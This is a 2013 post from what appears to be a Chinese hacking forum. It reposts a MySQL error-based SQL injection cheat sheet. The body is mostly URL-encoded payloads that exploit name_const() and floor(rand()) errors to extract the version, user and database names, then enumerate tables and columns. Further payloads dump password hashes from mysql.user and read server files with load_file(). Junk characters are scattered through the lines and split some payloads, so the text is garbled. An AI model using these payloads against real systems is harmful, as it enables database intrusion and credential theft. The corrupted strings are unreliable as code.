找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2551|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
' [5 Z, ]" s! [' z2 H3 ^& [! O. L2 g
/ w  R* y* E) A1 n) }' \
& s3 z0 c8 j- \8 l4 g- r& KMysql暴错注入参考(pdf),每天一贴。。。
- ^7 Z# T+ Y) I& E* J% a
  s- X# ~. l: j+ D3 Y1 q. OMySql Error Based Injection Reference
; L. n* S0 W6 X4 T; Y4 {& f& T[Mysql暴错注入参考]
1 A5 h8 l( I7 h7 [, F$ BAuthornig0s1992! o  e. B* M7 {$ `  H8 h5 C  ?
Blog:http://pnig0s1992.blog.51cto.com/
4 d; |* g* w5 L+ x, ?& b5 g* |4 K2 y& |TeAm:http://www.FreeBuf.com/
9 G" a/ ~# j& B0 _" yMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
: H0 @- O$ ?7 z- D2 ]. [" \( S小部分版本使用name_const()时会报错.可以用给出的Method.2测试  B( X9 X0 ^7 E* m: i7 V
查询版本:1 i7 a  J5 S$ ~: Y1 f  \; ?
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
1 J- w, M' B* ]( D* Y2 wjoin+(select+name_const(@@version,0))b)c)0 k' R! s3 j1 x
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
( U2 C. R+ ^& I0 q: u8 ?up by a)b)
5 \" F; X7 }" q( X5 e; m* I; A. G查询当前用户:8 \; G) C$ k( L$ B& V- K( v
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
7 r' b2 n: z7 VMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
2 x& d! c1 L, a9 Dand(0)*2))x+from+information_schema.tables+group+by+x)a)
; Z0 f4 D5 |1 @$ p7 _查询当前数据库:
" C# x5 z' T1 i0 Q" K* @Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c); \  M1 J6 }4 F. p. q
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
8 i7 {) b: ^$ j4 E# ror(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
: e4 W+ ]7 d2 O5 f依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
' M  h, M& l  r9 f) z: {8 }LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
6 t4 T+ f% h2 m" \) S* B" }5 a顺序替换
% h) r( ~7 f5 ]& w5 w爆指定库数目:
$ S1 n5 ~+ K5 y; y! T1 xand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t! t( R3 g# w# X+ g9 x8 E
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group0 R7 j0 X, `' |7 c
+by+x)a)+and+1=1 0x6D7973716C=mysql
/ o+ x1 i# b: r* Y  W) A, i6 T* v/ e依次爆表:
  M% i  K) i+ Q7 Zand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
% X/ q% P5 W; G$ Kable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta5 n* ^2 h7 Q% c! ~1 g( t" E7 e! L: k
bles+group+by+x)a)+and+1=1
& W3 T/ V( f9 H4 ]- ?0x6D7973716C=Mysql 将n顺序替换; }! c4 r' ~7 F. M/ i+ U. Y
爆表内字段数目:& R+ S2 {4 I4 M" ~
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
% q2 r. B6 k. \' _7 S* R: Y4 B$ X+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran9 f+ A& @* l) @5 X7 Y- |+ S0 g
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  Q6 i1 x+ P) s+ N6 _
依次爆字段:
* d2 a/ t% C6 n9 O- _) r- aand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where) A" i5 C$ o7 Z# f9 `" i
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
0 o1 t3 R6 S0 L. R/ a0 Zloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换4 E) f7 P' [% i/ q% L9 o+ b, ?" w
依次暴内容:  \/ y" r5 B; l) H% D) A# ~2 ~3 F
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche; C8 c% F7 V- S! k4 t3 D
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
  x# W, J3 m7 K$ s2 y( A: y$ Y7 M- t/ y将n顺序替换, [  @! M7 G8 A: ~9 Z
爆文件内容:8 ~5 `* D% ^0 `" B
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a7 ]& l- p, ?3 r% v
from+information_schema.tables+group+by+a)b)
9 P9 D! L# A  `" ?; U% u0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节! j6 {0 V0 W% W
Thx for reading.
5 ^2 e3 R& n1 j# I5 h! }
. {. D: `' f# {* p不要下载也可以,
$ Y! M  r/ l) g2 o2 o( c

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表